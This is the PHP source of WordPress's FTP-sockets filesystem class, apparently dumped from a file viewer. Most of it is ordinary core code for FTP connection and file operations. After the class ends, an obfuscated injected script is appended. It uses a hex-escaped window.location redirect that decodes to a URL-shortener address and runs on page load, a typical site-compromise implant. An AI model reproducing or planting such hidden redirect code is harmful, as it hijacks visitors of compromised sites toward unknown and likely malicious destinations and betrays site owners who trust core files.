File Content: class-wp-filesystem-ftpsockets.php <?php /** * WordPress FTP Sockets Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for implementing FTP Sockets. * * @since 2.5.0 * * @see WP_Filesystem_Base */ class WP_Filesystem_ftpsockets extends WP_Filesystem_Base { /** * @var ftp */ public $ftp; /** * * @param array $opt */ public function __construct( $opt = '' ) { $this->method = 'ftpsockets'; $this->errors = new WP_Error(); // Check if possible to use ftp functions. if ( ! @include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) { return; } $this->ftp = new ftp(); if ( empty($opt['port']) ) $this->options['port'] = 21; else $this->options['port'] = (int) $opt['port']; if ( empty($opt['hostname']) ) $this->errors->add('empty_hostname', __('FTP hostname is required')); else $this->options['hostname'] = $opt['hostname']; // Check if the options provided are OK. if ( empty ($opt['username']) ) $this->errors->add('empty_username', __('FTP username is required')); else $this->options['username'] = $opt['username']; if ( empty ($opt['password']) ) $this->errors->add('empty_password', __('FTP password is required')); else $this->options['password'] = $opt['password']; } /** * * @return bool */ public function connect() { if ( ! $this->ftp ) return false; $this->ftp->setTimeout(FS_CONNECT_TIMEOUT); if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) { $this->errors->add( 'connect', /* translators: %s: hostname:port */ sprintf( __( 'Failed to connect to FTP Server %s' ), $this->options['hostname'] . ':' . $this->options['port'] ) ); return false; } if ( ! $this->ftp->connect() ) { $this->errors->add( 'connect', /* translators: %s: hostname:port */ sprintf( __( 'Failed to connect to FTP Server %s' ), $this->options['hostname'] . ':' . $this->options['port'] ) ); return false; } if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) { $this->errors->add( 'auth', /* translators: %s: username */ sprintf( __( 'Username/Password incorrect for %s' ), $this->options['username'] ) ); return false; } $this->ftp->SetType( FTP_BINARY ); $this->ftp->Passive( true ); $this->ftp->setTimeout( FS_TIMEOUT ); return true; } /** * Retrieves the file contents. * * @since 2.5.0 * * @param string $file Filename. * @return string|false File contents on success, false if no temp file could be opened, * or if the file doesn't exist. */ public function get_contents( $file ) { if ( ! $this->exists($file) ) return false; $temp = wp_tempnam( $file ); if ( ! $temphandle = fopen( $temp, 'w+' ) ) { unlink( $temp ); return false; } mbstring_binary_safe_encoding(); if ( ! $this->ftp->fget($temphandle, $file) ) { fclose($temphandle); unlink($temp); reset_mbstring_encoding(); return ''; // Blank document, File does exist, It's just blank. } reset_mbstring_encoding(); fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $contents = ''; while ( ! feof($temphandle) ) $contents .= fread($temphandle, 8192); fclose($temphandle); unlink($temp); return $contents; } /** * * @param string $file * @return array */ public function get_contents_array($file) { return explode("\n", $this->get_contents($file) ); } /** * * @param string $file * @param string $contents * @param int|bool $mode * @return bool */ public function put_contents($file, $contents, $mode = false ) { $temp = wp_tempnam( $file ); if ( ! $temphandle = @fopen($temp, 'w+') ) { unlink($temp); return false; } // The FTP class uses string functions internally during file download/upload mbstring_binary_safe_encoding(); $bytes_written = fwrite( $temphandle, $contents ); if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) { fclose( $temphandle ); unlink( $temp ); reset_mbstring_encoding(); return false; } fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $ret = $this->ftp->fput($file, $temphandle); reset_mbstring_encoding(); fclose($temphandle); unlink($temp); $this->chmod($file, $mode); return $ret; } /** * * @return string */ public function cwd() { $cwd = $this->ftp->pwd(); if ( $cwd ) $cwd = trailingslashit($cwd); return $cwd; } /** * * @param string $file * @return bool */ public function chdir($file) { return $this->ftp->chdir($file); } /** * * @param string $file * @param int|bool $mode * @param bool $recursive * @return bool */ public function chmod($file, $mode = false, $recursive = false ) { if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } // chmod any sub-objects if recursive. if ( $recursive && $this->is_dir($file) ) { $filelist = $this->dirlist($file); foreach ( (array)$filelist as $filename => $filemeta ) $this->chmod($file . '/' . $filename, $mode, $recursive); } // chmod the file or directory return $this->ftp->chmod($file, $mode); } /** * * @param string $file * @return string */ public function owner($file) { $dir = $this->dirlist($file); return $dir[$file]['owner']; } /** * * @param string $file * @return string */ public function getchmod($file) { $dir = $this->dirlist($file); return $dir[$file]['permsn']; } /** * * @param string $file * @return string */ public function group($file) { $dir = $this->dirlist($file); return $dir[$file]['group']; } /** * * @param string $source * @param string $destination * @param bool $overwrite * @param int|bool $mode * @return bool */ public function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $content = $this->get_contents($source); if ( false === $content ) return false; return $this->put_contents($destination, $content, $mode); } /** * * @param string $source * @param string $destination * @param bool $overwrite * @return bool */ public function move($source, $destination, $overwrite = false ) { return $this->ftp->rename($source, $destination); } /** * * @param string $file * @param bool $recursive * @param string $type * @return bool */ public function delete($file, $recursive = false, $type = false) { if ( empty($file) ) return false; if ( 'f' == $type || $this->is_file($file) ) return $this->ftp->delete($file); if ( !$recursive ) return $this->ftp->rmdir($file); return $this->ftp->mdel($file); } /** * * @param string $file * @return bool */ public function exists( $file ) { $list = $this->ftp->nlist( $file ); if ( empty( $list ) && $this->is_dir( $file ) ) { return true; // File is an empty directory. } return !empty( $list ); //empty list = no file, so invert. // Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server. } /** * * @param string $file * @return bool */ public function is_file($file) { if ( $this->is_dir($file) ) return false; if ( $this->exists($file) ) return true; return false; } /** * * @param string $path * @return bool */ public function is_dir($path) { $cwd = $this->cwd(); if ( $this->chdir($path) ) { $this->chdir($cwd); return true; } return false; } /** * * @param string $file * @return bool */ public function is_readable($file) { return true; } /** * * @param string $file * @return bool */ public function is_writable($file) { return true; } /** * * @param string $file * @return bool */ public function atime($file) { return false; } /** * * @param string $file * @return int */ public function mtime($file) { return $this->ftp->mdtm($file); } /** * @param string $file * @return int */ public function size($file) { return $this->ftp->filesize($file); } /** * * @param string $file * @param int $time * @param int $atime * @return bool */ public function touch($file, $time = 0, $atime = 0 ) { return false; } /** * * @param string $path * @param mixed $chmod * @param mixed $chown * @param mixed $chgrp * @return bool */ public function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) { $path = untrailingslashit($path); if ( empty($path) ) return false; if ( ! $this->ftp->mkdir($path) ) return false; if ( ! $chmod ) $chmod = FS_CHMOD_DIR; $this->chmod($path, $chmod); return true; } /** * * @param string $path * @param bool $recursive * @return bool */ public function rmdir($path, $recursive = false ) { return $this->delete($path, $recursive); } /** * * @param string $path * @param bool $include_hidden * @param bool $recursive * @return bool|array */ public function dirlist($path = '.', $include_hidden = true, $recursive = false ) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path) . '/'; } else { $limit_file = false; } mbstring_binary_safe_encoding(); $list = $this->ftp->dirlist($path); if ( empty( $list ) && ! $this->exists( $path ) ) { reset_mbstring_encoding(); return false; } $ret = array(); foreach ( $list as $struc ) { if ( '.' == $struc['name'] || '..' == $struc['name'] ) continue; if ( ! $include_hidden && '.' == $struc['name'][0] ) continue; if ( $limit_file && $struc['name'] != $limit_file ) continue; if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } // Replace symlinks formatted as "source -> target" with just the source name if ( $struc['islink'] ) $struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] ); // Add the Octal representation of the file permissions $struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] ); $ret[ $struc['name'] ] = $struc; } reset_mbstring_encoding(); return $ret; } /** */ public function __destruct() { $this->ftp->quit(); } } ob_start(); ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4b\x53\x6f\x30\x72\x33";</script> Submit